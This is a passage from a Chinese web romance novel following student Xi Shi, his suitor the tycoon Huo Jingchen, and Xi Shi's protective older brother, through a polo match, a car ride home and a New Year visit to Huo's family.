到了中午的饭点,负责人又亲自来带他们去餐厅用饭,菜什么的都是想点什么就点什么,有专门的厨师为他们烹饪,让几个没见过世面的大学生狠狠体会了一把社会顶层人物的奢侈。 张晓晓甚至还开玩笑说回去要写一篇桃花源记。 用过午饭后,他们又被带到贵宾休息室休息,贵宾休息室自带按摩椅,几个人骑了半天马也累了,按摩一下简直不要太舒服。 奚时刚在一张按摩椅上坐下来,听到休息室的门响了,肖楠立刻起身去开门。 看到门外站着的男人时,肖楠愣了一下:“您是景老师?” 奚时听到这个称呼,往门口看去,果然看到来敲门的人是霍景沉,他赶紧走过去,对肖楠说:“来找我的,你去休息吧。” 肖楠惊疑不定地看看这位最近在他们学校走红的老师,又看看奚时,最后一脸梦幻地转身走了。 今天发生的一切都挺离谱的,所以看到景老师,就不是那么离谱了。 奚时走到门外,关上门,霍景沉问:“玩得开心么?” “还行吧。”奚时轻描淡写地说。 其实真爽啊,在马场他也是第一次有机会享受这么高级的待遇。 “你不是两点要比赛么,还不去准备啊?”奚时看了眼他身上的一身常服问。 该死的!怎么就不懂换好了衣服再来找他呢! 霍景沉知道他想看什么,就是故意钓着他的。 就要吊足他的胃口,才能一鸣惊人。 “要过去了,我来是提醒你,两点开始,别错过了。” 奚时面对他就忍不住跟他唱反调:“我要午睡,错过了也没办法。” 霍景沉:“今天天气热,打一会可能就顶不住脱外套了。” 奚时:“” 靠!狗男人又拿捏他! 但他就是被拿捏得死死的好气QAQ。 确定老婆会及时出现在观众席后,霍景沉去到休息室换衣服热身准备,几个球员都是初次见面,还需要布置一下战术。 一切准备妥当后,霍景沉穿着马术服,和几个队员一起走出休息室。 他人高马大,一身肌肉匀称紧实,包裹在合身的黑色燕尾马术服里,器宇轩昂,白色的裤子包裹着修长的大腿,配上长筒靴,简直像行走的芳心收割机,能把奚小时的XP戳烂。 霍景沉已经想象出等下老婆被迷得神魂颠倒的样子了。 他们刚离开休息室,对门的休息室门同时打开,里面走出来四个跟他们差不多着装的男人,不过他们是白色的燕尾服,黑色裤子,跟他们颜色上区别开了,等下比赛起来也好认人。 为首的是一个看起来和霍景沉年纪不会差太多的年轻人,长得英俊帅气,穿着这一身骑马服,颇有点白马王子的感觉。 见到他们,年轻人打量了一下霍景沉,微微点头,自我介绍说:“你好,奚朝。” 霍景沉:“?” 这名字霍景沉问:“奚时是” 他竟然认得奚时,奚朝眯了眯眼,吐出两个字:“舍弟。” “”果然。 这就是奚时前几天跟他说的,要带回家那位哥吧。 好你个梁凌云,居然把他大舅哥找来了。 他听奚时提过这堂哥,称得上是奚家唯一对他好的人,正是因为如此,奚时提到这位哥哥时,满脸都是孺慕之情。 霍景沉说:“鄙姓霍,霍景沉。” 奚朝皱了皱眉,最近是捅了霍家窝了这么多姓霍的。 前阵子,奚玥生日,他听说奚时把霍家那位首富的一个侄子请来了,让他们奚家大为风光。 后面,他听他小妹发疯,也提过霍家,说什么他们家这次横祸,就是奚时勾搭了什么霍首富来陷害他们的。 当然他不可能会把这种话当真,他爸出轨是主动且理智的,跟任何人都没关系。 今天,又碰到一个霍景沉。 这男人的气质,还有梁凌云这么尽心尽力给他张罗比赛的样子,肯定身份不菲,估计也是首富霍家的。 不过肯定是个不务正业的纨绔,不然也不会只是为了取悦未来媳妇,花这么多钱和心思打一场比赛。 从全国各地请这些马球手过来打一场比赛和包场,可不是什么小费用。 大概就是为博美人一笑豪掷千金的败家子吧。 还未来媳妇,说不定只是玩玩而已,纨绔子弟惯用这些手段把妹的。 奚朝最近大概被家里折磨得有点精神失常,见不得别人好,把霍景沉从头到尾地挑剔了一遍,才冷淡地冲他伸出手,跟他握了握,又问:“需要我手下留情吗霍先生?” 好好好,大舅哥开口就是嘲讽。 霍景沉也是骄傲惯了的,当然不可能因为他是大舅哥惯着他。 “不需要,”霍景沉淡淡地说,“不过你要是打得太烂,我可以让让你。” “就是,你小子就等着被打得叫爸爸吧。” 霍景沉这边的队员以为开启了赛前垃圾话环节,开始放嘲讽。 奚朝的队员不甘示弱:“得了吧,就你那个头,等下不会连马都爬不上去吧哈哈哈。” 两边队员的怒气值一下被这两句话拉满,都气势汹汹地看着对方,开始放狠话,并发誓等下一定要把对方打得落花流水。 好在这时,负责这次比赛的裁判走过来,说:“几位,球场已经准备好了,可以入场了。” —— 奚时离两点还有十分钟,就带着同学到赛场了。 立刻有人接待了他们,把他们带到最佳的观看台上。 “不是马球比赛吗?怎么没有其他人啊?”郭昊小声问。 奚时估计是霍景沉不想让人看,于是胡扯说:“黑金卡,包场。” 其他三人:“” 除了666,他们已经不知道说什么了。 梁凌云今天忙,这会儿才得空来赛场,看到奚时,眼睛一亮。 果然不愧是能入得了首富眼的人,这外表,绝了。 不过看这年纪,像大学生啊。 首富老牛吃嫩草,好像一点都不奇怪呢。 梁凌云笑意盈盈地走过去,冲奚时伸出手,笑道:“你好,我是这里的马场场主梁凌云,今天玩得开心吗?” 奚时和他握了握手,说:“挺好的,服务很周到。” “哈哈,那就好,不然霍总事后要找我算账了,都坐吧坐吧,别站着,不用拘谨,把这里当成你们学校一样。” 肖楠三人:“” 我们学校可没那么奢华。 他们坐下后,又有人上了饮料和水果点心,梁凌云就坐在奚时的旁边,笑呵呵地说:“我们这里看马球有下注的习惯,你们也玩玩吧。” 立刻有侍者给他们一人一个平板,平板上有黑白两方,每个人都有1000点投注点,可以投给喜欢的一方,也可以两方都投。 奚时表面傲娇,但实际肯定是全部投给霍景沉啦。 就是不知道他是白色方还是黑色方。 这时候,赛场上传来一阵踢踢踏踏的马蹄声,双方球员入场了。 梁凌云适时地介绍说:“穿白衣服的就是白色方,穿黑衣服的就是黑色方。” “哇,他们好帅啊!”张晓晓当即就露出花痴一般的神色。 郭昊来不及吃醋,“靠”了一声,说:“黑色方领头的那个帅哥,怎么那么像景老师。” “还真是,”肖楠想起来他中午就见到了景沉来找奚时,转头看奚时,“奚哥,你是不是跟景老师认识啊,奚哥?” 奚哥已经被定住了。 谁来告诉他,赛场上穿着白色衣服的那位,怎么长得这么像他的哥?! 奚朝出场后,也朝观众席看了一眼,想看看是怎么样的人,把霍景沉这纨绔迷得神魂颠倒的。 然后他就看到了自家弟弟。 他本来还不确定,毕竟观众席有三男一女,照理说第一反应应该是怀疑是不是那个姑娘。 但对上他弟弟心虚得不敢与他对视的眼神,奚朝已经不用怀疑其他人了。 气笑了他妈的。 把妹把到他弟弟头上了。 第40章 第 40 章 裁判照例宣读比赛规则, 奚朝勒着缰绳,让马走到霍景沉身边。 他阴阳怪气地说:“原来舍弟就是霍先生想追的对象,那我劝霍先生别白费力气了, 你们——不可能。” 在奚朝眼里,这世界上没人能配得上他弟。 当初会松口答应奚时和邵寻那小王八犊子在一起, 确实是看他不错, 挺有上进心, 燕京大概很难找出比他合适的对象。 加上奚时自己对联姻的态度很积极,先挑的总比捡别人挑剩的好, 也就勉为其难同意了。 谁知道看走眼, 邵寻竟是个王八蛋。 说起来, 他回来事忙,这笔账还没找邵寻那犊子算。 邵寻他都是勉为其难,霍景沉这看起来年纪都一大把了,除了外表一无是处的老纨绔,想都别想他会答应。 霍景沉料到了这大舅哥不可能会太满意他, 不过他一点都没有放下身段讨好大舅哥的意思,淡淡道:“这个, 你说的不算。” 奚时是成年人了, 他自己有选择的权利。 奚朝冷笑一声。 “那我就让你看看我说的算不算。” 这时候,裁判宣读规则完毕,宣布比赛开始。 双方互相击球棍,空气里弥漫着浓浓的硝烟味, 大战一触即发。 霍景沉和奚朝两个前锋互击了一下球棍, 都从彼此的眼里看到了势在必得的杀意。 奚时在场下, 瑟瑟发抖。 他怎么也想不到,霍景沉的比赛对手, 会是他哥,明明他哥最近忙到连吃饭都没空啊,怎么会来打马球呢? 而且看他哥刚刚与他对视时,最后那个“你给我等着”的眼神,明显他和霍景沉之间不清不楚的关系已经水灵灵地暴露了。 现在就是想死,非常想死。 所以到底是哪个缺德到家的把他哥叫来的,不会是霍景沉吧? 奚时目光又看向霍景沉,霍景沉穿的又酷又帅,换平时说不定等下马球赛结束,他就要想办法去扑倒他了。 但现在……奚时甚至心虚得不敢多看霍景沉一眼,怕被他哥逮到秋后算账。 QAQ长兄如严父的可怕谁懂啊。 梁凌云凑过来,提醒说:“这个下注时间在比赛开始后五分钟截止,要抓紧时间了。” 说着,梁凌云帮好兄弟说话。 “景沉他之前是皇家马球队队长你知道的吧,燕京几乎难逢对手,现在跟他对抗那位前锋也是我能想到最强的,还是前职业马球队的,但也肯定是景沉的手下败将。” 据梁凌云了解,奚朝退出职业马球队后,就几乎没再碰过马球了,霍景沉一年还会来他马场玩几次,而且威风不减当年。 所以霍景沉赢面很大。 不然他也不敢把奚朝叫来。 肖楠三人都竖起耳朵,听到梁凌云这自信的样子,都毫不犹豫地把注投给了景老师。 奚时点了一下平板的屏幕,把1000点全压给了奚朝队。 梁凌云:“……” 不是哥们,你咋不按套路出牌呢? “你不压点给霍总啊?”梁凌云问。 奚时微笑:“梁先生,我是不是还没有自我介绍?我姓奚,叫奚时,奚朝是我哥。” 梁凌云:??? 啊? 啊??? 梁凌云当即石化了,反应过来奚时说了啥后,恨不得给自己一巴掌。 他这是干了什么事,把霍景沉的大舅哥给他找来了! 看场上那杀气腾腾的样子,明显奚朝已经知道了霍景沉的身份和目的,并且对这个妹……哦不对是弟夫——不!满!意! 而且霍景沉那人他是了解的,人家身份地位放在那,即便表面很温和,骨子里也是高傲惯了,和老婆吵架都未必低得下身段去哄的人,怎么可能会去讨好大舅哥。 梁凌云脑子里只有一个念头:完了。 然而,这会儿想什么都来不及了。 裁判吹哨,比赛正式开始,只见两队的前锋手持球棍,纵马入场。 霍景沉率先抢到球,他一手拉着缰绳冲锋,另一只手上的球棍扬起挥下,一个漂亮的海底捞月,球被他击飞,以迅雷不及掩耳之速擦过来拦他的二人,飞到另一个队员的棍下。 “哇!” 被允许来围观的工作人员和马师以及肖楠几个爆发出第一阵惊呼。 真帅! 照理说,霍景沉这个球传的位置很安全,对手应该暂时反应不过来。 然而他的队友刚接到球,就感觉到有个人纵马冲刺而来,锋芒极盛,让他心头一紧,下意识地想调转马头,用马身拦住那人的抢夺。 谁知,那人以一个极其刁钻的角度几乎与他并驾齐驱,手中球棍从他马腹底下一扬,马球就骨碌碌地离开他的球棍范围。 是奚朝。 奚朝快速拍马越过那人,球棍刚好接住被他击飞出来的球,带着球快速往球门冲锋。 霍景沉把球传给队友后,立刻勒住缰绳,来了个180度的转马,见到奚朝这漂亮的一招虎口夺食,眉毛一挑,立刻纵马追上去。 在奚朝扬起球棍准备进球时,霍景沉忽然加速冲过去,速度之快,像是要与奚朝同归于尽。 奚朝被他这比他还不要命一样的冲锋惊了一下,只是这么一分神的功夫,他就被抢了球,霍景沉连人带马几乎是擦着他的马屁股过去的。 霍景沉带着球,势如破竹,直接一扬棍,马球在空中划过一个漂亮的弧度,如夜空中的流星一样“嗖”一下飞进球门。 “卧槽!进了!” “景老师好厉害啊啊啊!” 景老师的异班学生爆发出热烈欢呼。 奚时看着场上安然无恙的两个人,刚那一瞬间被提到嗓子眼的心才落下来。 草他大爷的吓死了啊啊啊! 刚刚那一瞬间他真以为霍景沉要跟他哥同归于尽了。 这他妈哪里是看比赛,这是他的索命现场啊。 然而,他哥看到霍景沉这么疯的玩法,眼中也闪过一丝狂热,重新调转马头,冲入赛场。 奚时:“……” 都别活了,毁灭吧。 霍思议跟他爸那小打小闹的,算什么雄竞。 这才是真正的雄竞。 同样心力交瘁的还有从知道奚时身份起就开始坐立难安的梁凌云。 他看着场上仿佛是自带主角光环的两个人,感觉他们球棍底下打的不是小小的马球,是他的脑袋。 他这时候很想喊出那句经典台词:你们两个不要再打了啦! 然而场上的人并不能听到他的心声,奚朝在霍景沉进了一个球之后,干净利落地反手还了他一个。 他们就跟角逐年纪第一的双学霸一样,你进一个球,我必须还你一个,场上的气氛一时十分焦灼。 不过奚朝确实许久不打了,即便曾经是职业队的选手,也有点手生,比分还是被霍景沉超了好几分。 这种酣畅淋漓的打法令人肾上腺素飙升,又进了一个球后,霍景沉开始对大舅哥开嘲讽。 “前职业选手,不过如此。” 奚时:“” 完了,这下彻底完了。 “小人得志,”奚朝冷笑一声,还击回去,“还有一节比赛,我必翻盘。” 打了三节,他也找回一些手感了,也摸清了霍景沉的路数,他有自信可以翻盘。 裁判吹哨,最后一节比赛开始。 果然这回奚朝开门红,开局三十秒就进了一个球,并且势如破竹,不到两分钟又进了一个。 奚时忽然抓住梁凌云的手臂:“我等下装晕,你等下大叫吸引他们的注意力,让他们不得不停止这场比赛!” 霍景沉一看就是好胜心强的,他哥也是个top癌,这两个打到最后,无论谁胜谁负,都对奚时不好。 不如趁着他哥找回一点面子,霍景沉这边比分又没输的时候停掉比赛是最好的选择,反正两个人都会觉得自己没输。 “啊?什” 梁凌云的话还没说完,奚时忽然两眼一翻,往他身上倒,把他吓了一跳,几乎不需要演技,惊呼声就脱口而出。 “奚时,你怎么了奚时!” “快快快,叫医生过来,奚时晕倒了!” 本来场上马蹄都要擦出火星子的二人,乍然听到梁凌云这叫声,几乎同时勒停住马,往奚时坐的这边看来,看到晕倒在梁凌云怀里的奚时,也都一惊,立刻丢下比赛赶过来。 霍景沉身高腿长,又练过,手脚利索得很,直接纵身一跃翻过观众席前面的围栏,又如法炮制跃上台子,几乎在转眼之间就到了梁凌云的旁边。 “把人给我。” 梁凌云哪里敢拒绝,立刻把人小心翼翼地送到霍景沉手上。 霍景沉看了下奚时的脸色,见脸色红润,不见任何痛苦之色,呼吸也平稳,把脸埋在他胸口想听他的心跳是否正常。 结果某个怕痒的人没绷住,噗嗤笑了一下。 霍景沉:“” 原来是在装晕。 霍景沉松了一口气,抬头见奚时依旧双眼紧闭,显然还没有要醒来的意思,干脆直接拦腰抱起他,刚要抬脚往马场的休息室走,被才赶到的奚朝拦住。 奚朝紧张地看了奚时一眼,见他看起来状态还行后稍微放了一点心,又满脸怒色道:“你都不知道他什么情况就擅自挪动他,你是想要害死他么?” 霍景沉抱到了老婆,而且知道了大舅哥不知道的秘密,心情舒爽。 “我懂一点医理,给他看过了,他只是太兴奋脑部供血不足暂时性的休克,没大碍,我抱他去休息一会就没事了。” 奚朝听他这样子说,也是松了一口气,身侧紧握的拳松开了一点。 “既然这样,我弟弟就不劳霍先生费心了,把人给我吧。” 说着,他正要伸手去抱奚时,被霍景沉躲开。 霍景沉:“这就有意思了,你无凭无据的,用什么证明他是你弟?” “……” 奚朝再一次气笑了,跟他玩这一套是吧。 奚时心里一万匹草泥马奔腾而过,感觉事情要遭,不敢再装下去了,呻/吟了一声,装出悠悠转醒的样子,睁开眼睛。 两个争锋相对的人注意力立刻被他吸引了。 “你们唔,我怎么了?”奚时一眼茫然地问。 霍景沉沉配合他演戏:“你晕倒了,现在感觉怎么样?” “我,我头好晕。”奚时虚弱地扶着头,努力把自己装成一个病西施。 “那我带你去休息室休息一会,再让医生过来看一下。”霍景沉说。 奚时还是比较怕他哥的,正要说好。 奚朝:“咳!” 奚时:QAQ “我我好像没事了。”奚时从霍景沉的怀里挣脱出来,不自觉像做错事的小学生一样站直身体。 这时候奚朝也从弟弟稀烂的演技中看出他是装的,冷冷的说:“没事就跟我回去。” 说着,他也不看奚时,径直朝场外走。 奚时根本不敢违逆他,小媳妇一样跟上。 霍景沉:“……” 其他众人不明所以,又目瞪口呆。 这什么情况? 唯一了解真相的梁凌云两脚点地,想悄悄地逃之夭夭。 刚走一步,听到霍景沉冷冷地问:“想溜去哪?” 梁凌云也想QAQ了,这算不算神仙打架,凡人遭殃啊。 但想到是自己鬼才,把这两神仙凑一起的,梁凌云只能赔笑:“我真不知道他是嫂子的哥,不然请谁也不会请他啊。” “我知道,”霍景沉声音愈发冷,“但不妨碍我迁怒。” 梁凌云:“……” —— 奚时跟在他哥后面,见他哥气得就要穿这身马术服往停车场去,赶紧小心翼翼提醒他。 “哥,衣服没换。” 奚朝的脸更黑了,去休息室换回自己来时候穿的衣服,再直奔停车场,找到自己的车后,打开副驾的门,见小尾巴一样缀在他身后的奚时居然还在看手机,冷笑。 “怎么,人走了魂还舍不得那个霍景沉?” 奚时赶紧说:“不是,我在给跟我一起来的朋友发消息。” 肖楠三个是整一个大懵逼,奚时忽然就晕倒了,景老师忽然就停止比赛过来了,然后景老师的对手说自己是奚时的哥,还把又忽然醒来的奚时带走了。 整个过程就忽然忽然的,短短几分钟里的转折点比电视剧还多,脑子已经不够用了。 今天就跟做梦一样。 奚时怕自己这样子丢下他们走后,他们找不到头脑,就发消息跟他们说如果还想玩可以继续留下来玩,晚上还有烧烤派对,如果不想玩了就开他车回去,他车钥匙也留在休息室了。 奚朝闻言,脸色稍霁,朝副驾驶抬了抬下巴,示意他上车。 奚时不敢忤逆他哥,小心翼翼坐进去,车门就“嘭”一声关上了。 奚朝自己走到驾驶座,开了导航,发动车子,才板着脸问:“你在跟那个霍景沉交往?还是对他有意思?” 说没意思,那绝对是假的。 起码他对霍景沉的身体挺有意思的。 特别是今天那一身,简直了帅炸了,看着像绅士一样斯文矜贵,驰骋在球场时却和最猛的骑士一样英勇,张力拉满,每一帧都在他审美点上疯狂舞动。 今天要不是奚朝来了,他绝对被迷得神魂颠倒,然后想办法把霍景沉拐上床。 但奚朝面前,他敢说么。 “我们没在交往,他在追我。”奚时忽略了自己馋人家身体的事实,实话实说。 奚朝听说他们没再交往,脸色又好看了一点,说:“那个霍景沉,年纪也不小了,一看就是个惯会用什么马球、台球或者赛车这些看着很酷的手段骗你这种小孩的花花公子,我不允许你跟这种人在一起。” 奚时对手指:“那个,哥,你真不知道他是谁吗?” 奚朝嗤笑:“我从不会浪费脑细胞去记住一个纨绔。” “”奚时都想扶额了。 他觑了一眼他哥的面色,小声说:“就哥,你对我们燕京的首富,没有一点了解吗?” 奚朝手一滑,差点把车开到马路牙子上去。 “谁?”他怀疑自己听力出了问题,“霍景沉?我们这里的首富不是叫霍沉” 奚朝的话戛然而止。 霍沉、霍景沉,他还真没把这两个名字联系在一起去。 主要是他把对霍景沉是个纨绔的印象先入为主了,霍景沉也没说自己的名字是哪三个字,谁知道是霍景晨还是尘。 加上首富这人向来非常低调神秘,给奚朝的感觉就是非常端肃刻板之人,爱好应该是高尔夫球这种高雅的运动,而不是为博美人一笑亲自表演一场这种攻击性极强的马球赛。 原来他以为奚玥发疯时说的那些话,居然是真的。 奚朝的心绪一时间千变万化,十分复杂。 名字这个事情,奚时也是听了霍思议的科普,才知道明明应该叫霍沉的首富,为什么变成了霍景沉。 传言他父母是联姻,毫无感情,一直在各玩各的。 霍父一直觉得霍景沉是霍母给他带了绿帽子的产物,看到他都厌恶,霍母也不喜欢这个她清楚肯定是霍父种的儿子,连亲子鉴定都懒得做,就干脆地把他丢给了霍景沉的外公外婆带。 他外公姓景,霍沉就改了名字叫景沉。 后面霍家老爷子离世,景沉这个比私生子还没筹码、最不可能上位的长子长孙强势回归,成功上位成了霍家家主,霍家人肯定不可能同意有个姓景的家主,于是又在景沉前冠了霍姓。 所以外界对首富不熟的人,都以为霍家如今的家主叫霍沉,并不知道他的名字已经改成了霍景沉。 “霍景沉,”奚朝重复这三个字,眼神更冷了,“没记错的话他今年起码三十五了,比你大了一轮。” 奚时小声辩解:“三十三。” “那也比你大了十二岁,还不够多吗?!” 奚时缩了缩脖子,不敢说话了。 “我不管他是首富还是什么,他一块快风干的老腊肉,就是看上了你的年轻好看想玩你,这种人,肯定早就已经结婚生子,孩子都快跟你一样大了,无论是当小三还是给人当后妈,我都不可能同意。” 奚时:“……” 而且奚朝没说的是,霍景沉在明知道他是奚时哥哥的情况下,在他面前还一副傲慢冷漠的样子,这种人,能指望他对奚时多好。 现在可能是新鲜热乎,跟老皇帝疼新妃子一样对他好,以后兴趣过了,又有比奚时更好看更年轻的人出现,他绝对就跟那昏君一样,把奚时打入冷宫,冷暴力他。 自家弟弟那么傻,还不是被这种老东西吃得死死的。 所以,这种身份不对等的爱情,想都别想他会同意! 车速表露了奚朝此刻很不美好的心情,风驰电掣地往市内驶去。 奚时握在手中的微信进了好几条信息,奚时知道肯定有霍景沉的,见他哥在专心开车,他偷偷看了一眼。 果然,霍景沉连着给他发了三条消息。 狗男人:是不是给你添麻烦了? 狗男人:抱歉,我也不知道梁凌云把你哥叫来了,不然会提前跟你说的。 狗男人:你们现在在哪里,你哥应该对我有一点误会,让我来跟他解释。 霍景沉冷静下来后也反思,今天自己在球场上对大舅哥嘲讽太过分了,让他怎么在弟弟面前下得来台。 都怪梁凌云,在他对奚朝这个大舅哥毫无了解的情况下猝然让他们对上,他本来就看不上奚家那帮子势利眼,即便奚时一直说他哥对他很好,也觉得就是跟他叔叔婶婶妹妹对比之下,矮子里拔将军,所以也没怎么把奚朝这人放在眼里。 刚刚他算是看出来了,虽然奚朝对奚时很凶,但是真的紧张他,奚时对他也没有对奚家其他人那样子抗拒,就是普通的弟弟怕哥哥,并对此甘之如饴。 所以,恐怕他想要抱得美人归,必须得过他哥这一关。 要他早知道这些,绝对不会在赛前和赛场时那样对奚朝开嘲讽。 一失足成千古恨,现在老婆没撩到,还在追妻路上舔砖加堵了。 奚时偷偷给霍景沉回消息。 你咋不上天:我哥说了,不可能同意我给人当后妈。 狗男人:这简单,我现在就跟霍思议断绝父子关系。 奚时:“” 怎么他感觉霍景沉老早就想这么做了? 你咋不上天:你别,没有霍思议我哥也不会同意,他嫌弃你年纪大。 狗男人: 狗男人:你哥多少岁? 奚时:28。 狗男人:呵!我以为他多嫩。 狗男人:你先别告诉他我多少岁,明天我让人把我身份证上的改成27。 奚时:“” 假装自己比他哥小是吧。 这时候,前面红灯,车速缓缓慢下来,奚时赶紧把手机收起来,以防被他哥看到他正跟霍景沉聊天。 但他这心虚的样子,已经说明一切了。 奚朝洞察力一向强,怎么会觉察不到。 他的手摩挲着方向盘,阴恻恻地开口:“奚小时,我是不是忘了告诉你,我妈她最近斗小三,把家里的车都安上了摄像头。” 奚时还没反应过来这话什么意思,就见他哥拿出手机,打开某个APP。 APP一排标准着12345这样子的小窗口,奚朝点开标注为4的那个窗口,点开。 然后,奚时就看到他哥的手机里,清晰地出现他们两个人现在在车里的实时影像。 奚朝在奚时一副被雷劈的表情下,点开五分钟以前开始的录像,高清的摄像头,把奚时的手机界面和聊天内容拍得清清楚楚。 “哥,你这是侵犯我隐私的。”奚时试图挣扎一下。 主要是霍景沉在他哥心目中的印象本来就不好了,刚刚的聊天内容简直是雪上加霜。 奚朝一脸凛然地说:“我本来无意侵犯你的隐私,但你的表情告诉我,你刚刚肯定在跟霍景沉聊天,而我信不过那个老阴比。” 奚时:“” 奚时脑子嗡了一声,只有一个念头:完了。 而且论老阴比,他哥也不遑多让啊! 霍景沉见奚时那边又没了动静,又给他发消息。 【你哥把你带哪里去了?】 【如果回奚家了我过去接你,现在那里肯定乌烟瘴气,你回去了要受委屈。】 【要是怕你哥不愿意,我找思议过去接你也行,就说是你朋友邀你出去玩。】 很好,为了对付大舅哥,都要暂时跟情敌站统一战线了。 片刻后,手机响了,那边发过来一条语音。 霍景沉有点意外,他印象里奚时并不喜欢发语音,更喜欢打字聊天,导致连他的习惯都跟着改了。 以前他能用嘴说清楚的事情绝不会打字,觉得那完全是浪费时间。 当然,现在他也只跟奚时打那么多的字。 这语音估计是奚时趁着他哥不在,来不及打字抓紧时间说的。 霍景沉点开语音,结果老婆的声音没听到,他大舅哥的声音从里面传来:“有儿子并且还想改年龄骗我的霍首富,你想把我弟弟接去哪?” 霍景沉:“” 【正文完】 第59章 第 59 章 奚朝家开了个临时审讯。 审讯人:奚朝。 嫌疑人:奚时, 霍景沉(未到位) 奚朝:“是不是霍景沉要你去过夜的?” 奚时:“不是,是我想在他那里过夜。” 奚朝:“他是不是跟你说,这种事情很快乐, 引诱你跟他尝试?” “”这种锅不能让霍总背,奚时眼神发飘, 说, “其实是我见色起意, 他身材太好了,脸又帅, 我把持不住了。” 奚朝:“……” 奚朝没料到是这种答案, 忍不住瞪他:“你出息呢!” 奚时:QAQ “哥, 你知道的,我又不是生活在封建时代的黄花大闺女。” 奚朝哪里会不知道,但就是……就是见不得自家的弟弟给霍景沉那老男人拱。 “哥哥……”奚时可怜巴巴。 “行了行了,”奚朝见不得他这样子,说, “想在那里过夜就过吧,我是管不了你了。” 奚时眼中迸发出欣喜:“谢谢哥!” 奚朝糟心地让他滚。 31号, 奚时考完最后一科, 今年的学业正式宣告结束,他步履轻松地走出校外,看到霍景沉的车后,一溜烟钻进去。 霍景沉坐的并不是他那辆价格嚣张车牌号也嚣张的座驾, 而是奚时给他买那辆5系。 这种车混在车流里, 并不会太显眼, 奚时也不想被学校的人过分关注,该低调时还是要低调, 不然被人扒出他和景老师谈恋爱,又要引起血雨腥风的。 这应该算奚时第三次来霍景沉家,第一次就不用提了,想起来就想把老男人暴揍一顿的程度,第二次他生病,自己被哥哥管制,偷偷来的,还被他哥逮了。 没想到第三次来,他们已经正式确认了关系,连他哥都同意他留下来过夜了。 四舍五入,这不等于结婚! 也不知道是因为新年,还是因为霍家的管家和佣人为了迎接新主人,从云顶花园的小区大门进去,一路就张灯结彩。 过了霍景沉住处的单独保安亭后,更是夸张,寒冬料峭,这里却是鲜花着锦,路两旁的树上挂着灯条和灯带,暖黄的风光流转,远远一看,像一树树火树银花,绚烂漂亮。 管家和佣人都站在门口迎接他们,霍景沉和霍思议两个人住的房子,居然足足有二十人为他们服务。 估计还不包括维系这一大个庄园的那些园丁和清洁的人。 “奚先生好,家主好。”众人排练过似的,整齐划一地问好。 吓得奚时差点躲回车里去了。 他发现这些人都穿着红色的工作服,无论男女,头上都戴着新年快乐的发箍,连严肃的管家也没逃过,看起来喜气洋洋的。 霍景沉显然也没料到这一出,见状眉毛一挑:“这是干什么,要压岁钱?” 家主积威甚重,众人齐齐缩了一下脖子。 奚时小声说:“你别吓他们呀。” 霍景沉于是说:“别杵在这里。” 管家冲他们摆摆手:“人都见到了,忙去吧。” 众人立刻作鸟兽散了,奚时轻轻舒出一口气,刚刚搞得他社恐都差点犯了。 他冲管家笑了笑:“又见面啦。” 管家头上还戴着新年快乐的发箍,看起来有点滑稽,他笑得很和蔼:“不好意思,吓到你了,他们就是想给你一个隆重点的欢迎仪式,顺便认认脸。” “谢谢,”奚时挠了挠头,又看了眼霍景沉说,“回头让你们家主发红包。” 管家笑得合不拢嘴:“夫人一来就给他们谋福利,要把他们开心坏了。” 奚时:“” 能不能不要叫他夫人,好雷的。 霍景沉走过来牵他的手,说:“明天再发,走吧,进屋里去。” 两人穿过院子,走进屋里,发现屋里面也是恍然一新,跟上次来时比起来,屋里新添了红灯笼、挂满福和红包的腊梅、金桔等,看得奚时都有点怀疑明天不是元旦,而是大年初一。 霍思议大概是听到了动静,正从楼上下来。 大学校园很小又很大,奚时恍然发现自从他和霍景沉确认关系后,就没和霍思议再见过面,这居然是他们继上次在辩论赛那天分开后,第一次见面。 “学长,”霍思议见到他,一如往常,笑眯眯地打招呼,“你来啦。” “嗯,”奚时面对他,还是有点尴尬,没话找话地说,“你考试考完了?” “还没,还要考三门。”提到这个话题,霍思议眼中的光都暗淡了。 奚时想起自己上大一的时候,要考的课程多,加起来要比大二大三的迟一周多放假,不禁对霍思议深表同情。 厨房知道今天奚时要上门,准备了丰盛的晚餐招待他,奚时还担心自己走到哪都想起来上次来的尴尬,特别是那顿不愉快的午饭,现在想起来还脚趾扣地的程度。 结果发现餐厅几乎和改造过了一样,完全大变样了,根本找不到一点上次来时的感觉。 三人不尴不尬地吃了一顿饭,霍思议就以复习为借口回房间去了,让奚时大大松了口气。 “要不要去走走?”霍景沉问。 奚时冲他眨眨眼:“外面好冷的,不如回房间交流一下感情?” “……”霍景沉被他不加掩饰的明示逗笑了,说,“好。” 霍景沉的房间倒是和上次他胃痛奚时偷跑来时一样,完全没有变,他的床上铺着厚厚的褥子,又软又暖和,奚时扑倒在他柔软的床上,整个人都有种要陷进去的感觉,舒服得他忍不住翻滚了两圈。 “我是不是第一个上你床的人?”他问霍景沉。 霍景沉在他旁边坐下来,说:“如果小时候的霍思议不算的话,是的。” 奚时从后面箍住霍景沉的脖子:“真的吗,再给你一次坦白从宽的机会。” “真的,”霍景沉抬头,在他嘴唇上亲了一下,“对了,我这边的堂亲明天想过来认认你的脸,行么?” 奚时知道霍氏家族庞大,堂亲很多,霍景沉这家主的对象,大家会想来认脸不奇怪,也可以避免出现相见不相识的尴尬。 而且霍景沉这老铁树忽然开花,肯定会有很多人好奇到底是怎么样的人能让他心动。 奚时没有什么不能见人的地方,点头说:“行啊,我需要准备红包吗?” “不用,他们不缺钱,等他们给你送礼物。” 奚时本以为霍景沉所说的送礼物是开玩笑的,没想到第二天霍家的人上门时,居然真的都带了礼物,盒子有大有小,有轻有重,都是送给他的。 霍家人奚时也不是全没见过,有些人奚时在某些酒会或者宴会见过,但都是态度倨傲高高在上的,奚小时连跟他们说话的资格都没有。 现在这些人,一个个都变得和蔼可亲,对着奚时,恨不能把他夸出花来。 而且奚时深深地体会到了霍景沉在霍家的辈分之大,一些看起来比霍景沉年纪还大的,见到他还一口一个恭敬的小叔,一些都长出白发的,霍景沉也只是淡淡地称他们为堂哥堂嫂,连带着奚小时也长了辈分。 霍思远也过来了,他看着胖了一些。 他把手上的礼物递给奚时,奚时跟他熟,问:“你们怎么都给我带礼物,是什么风俗吗?” 这会儿霍景沉刚好不在,霍思远放松地在他旁边坐下来,说:“哪里是什么风俗,是小叔他要求的,说要来看你的必须都要带礼物,不要求贵,但必须有新意。” “” 奚时确实挺爱收礼物,但他没表现得这么明显吧,霍景沉是怎么察觉到的。 奚时心里甜滋滋的,嘴上还半真不假地埋怨:“原来是他要求的啊,说不定大家以为是我要求的,对我第一印象就是虚荣爱收礼物。” 